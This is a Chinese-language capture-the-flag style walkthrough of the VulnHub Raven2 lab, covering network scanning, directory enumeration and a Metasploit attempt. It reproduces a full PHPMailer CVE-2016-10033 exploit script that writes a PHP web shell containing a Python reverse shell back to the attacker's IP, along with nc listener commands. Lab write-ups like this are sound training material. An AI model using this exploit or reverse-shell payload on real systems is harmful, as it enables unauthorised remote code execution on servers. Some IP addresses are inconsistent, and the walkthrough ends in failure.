一、环境搭建
1.准备工具
kali
raven靶机:链接:https://download.vulnhub.com/raven/Raven2.ova
2.安装revan
该虚拟机默认是NAT模式,因此无需调整网络模式
raven MAC地址:00:0c:29:fe:97:2b
二.渗透过程
1.信息收集
探测raven的地址
- 查看kali IP:
192.168.17.129
,确定raven网段:192.168.17.0
ip a
-
//扫描与kali在同一网段的所有主机IP及对应Mac地址 sudo arp-scan -l
确定raven地址为192.168.17.141
扫描raven 开放端口
nmap -sV -p- 192.168.17.141
-sV 扫描目标主机端口上运行的软件信息
-p- 扫描全部端口0-65535
端口 | 协议 |
---|---|
22 | ssh |
80 | http |
url=192.168.17.141
访问看看
网页信息收集
- 查看站点信息
sudo whatweb -v 192.168.17.141
先放着
- dirsearch工具扫目录
dirsearch -u 192.168.17.169 -e *
没啥用
sudo dirb http://192.168.17.141
url:http://192.168.17.141/vendor/PATH
绝对路径:/var/www/html/vendor/
flag1
5.2.16版本的PHPMailer
2.漏洞查找利用
发现有框架漏洞
漏洞查找
- metasploit工具利用
打开msf工具,搜索drupal漏洞
msfconsole
search JQuery
发现JQuery许多框架,选择利用漏洞等级最高且最新的18年的漏洞exploit/unix/webapp/jquery_file_upload
漏洞利用
use exploit/unix/webapp/jquery_file_upload
show options
Current Setting是目前设置的内容
Required表示是否需要设置内容,yes为必须设置,no可以设置也可不设置
就上面来说RHOSTS需要set,但是没有内容
- 所以接着设置一下RHOSTS内容(就是攻击目标IP地址,靶场地址
set RHOSTS 192.168.17.141
run
失败
3. phpmaile漏洞
searchsploit phpmailer
PHPMailer < 5.2.18 - 远程代码执行 - PHP Web 应用程序漏洞利用 (exploit-db.com)
简单修改一下exp:
a.顶部加上# -- coding: utf-8 --声明,否则注释里一大堆非ASCII字符会报错。
b.修改target为靶机IP地址,利用文件为contact.php。
c.修改后门文件路径名称。也不知道为什么,用默认的backdoor.php总是利用不成功,把payload改成shell.php最终利用成功。
d. 修改反弹shell的地址为nc监听服务器的ip(KALI主机IP)和端口。
"""
# -*- coding: utf-8 -*-
# Exploit Title: PHPMailer Exploit v1.0
# Date: 29/12/2016
# Exploit Author: Daniel aka anarc0der
# Version: PHPMailer < 5.2.18
# Tested on: Arch Linux
# CVE : CVE 2016-10033
Description:
Exploiting PHPMail with back connection (reverse shell) from the target
Usage:
1 - Download docker vulnerable enviroment at: https://github.com/opsxcq/exploit-CVE-2016-10033
2 - Config your IP for reverse shell on payload variable
4 - Open nc listener in one terminal: $ nc -lnvp <your ip>
3 - Open other terminal and run the exploit: python3 anarcoder.py
Video PoC: https://www.youtube.com/watch?v=DXeZxKr-qsU
Full Advisory:
https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html
"""
from requests_toolbelt import MultipartEncoder
import requests
import os
import base64
from lxml import html as lh
os.system('clear')
print("\n")
print(" █████╗ ███╗ ██╗ █████╗ ██████╗ ██████╗ ██████╗ ██████╗ ███████╗██████╗ ")
print("██╔══██╗████╗ ██║██╔══██╗██╔══██╗██╔════╝██╔═══██╗██╔══██╗██╔════╝██╔══██╗")
print("███████║██╔██╗ ██║███████║██████╔╝██║ ██║ ██║██║ ██║█████╗ ██████╔╝")
print("██╔══██║██║╚██╗██║██╔══██║██╔══██╗██║ ██║ ██║██║ ██║██╔══╝ ██╔══██╗")
print("██║ ██║██║ ╚████║██║ ██║██║ ██║╚██████╗╚██████╔╝██████╔╝███████╗██║ ██║")
print("╚═╝ ╚═╝╚═╝ ╚═══╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝╚═╝ ╚═╝")
print(" PHPMailer Exploit CVE 2016-10033 - anarcoder at protonmail.com")
print(" Version 1.0 - github.com/anarcoder - greetings opsxcq & David Golunski\n")
target = 'http://192.168.17.141/contact.php'
backdoor = '/shell.php'
payload = '<?php system(\'python -c """import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\'192.168.17.129\\\',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\\\"/bin/sh\\\",\\\"-i\\\"])"""\'); ?>'
fields={'action': 'submit',
'name': payload,
'email': '"anarcoder\\\" -OQueueDirectory=/tmp -X/var/www/html/shell.php server\" @protonmail.com',
'message': 'Pwned'}
m = MultipartEncoder(fields=fields,
boundary='----WebKitFormBoundaryzXJpHSq4mNy35tHe')
headers={'User-Agent': 'curl/7.47.0',
'Content-Type': m.content_type}
proxies = {'http': 'localhost:8081', 'https':'localhost:8081'}
print('[+] SeNdiNG eVIl SHeLL To TaRGeT....')
r = requests.post(target, data=m.to_string(),
headers=headers)
print('[+] SPaWNiNG eVIL sHeLL..... bOOOOM :D')
r = requests.get(target+backdoor, headers=headers)
if r.status_code == 200:
print('[+] ExPLoITeD ' + target)
python3 40974.py
访问contact.php(http://192.168.17.141/contact.php),此时就会生成后门文件shell.php
接着访问后门文件:http://192.168.1.12/shell.php
开启nc服务器监听,在服务器上得到反弹shell
nc -lvvp 4444
失败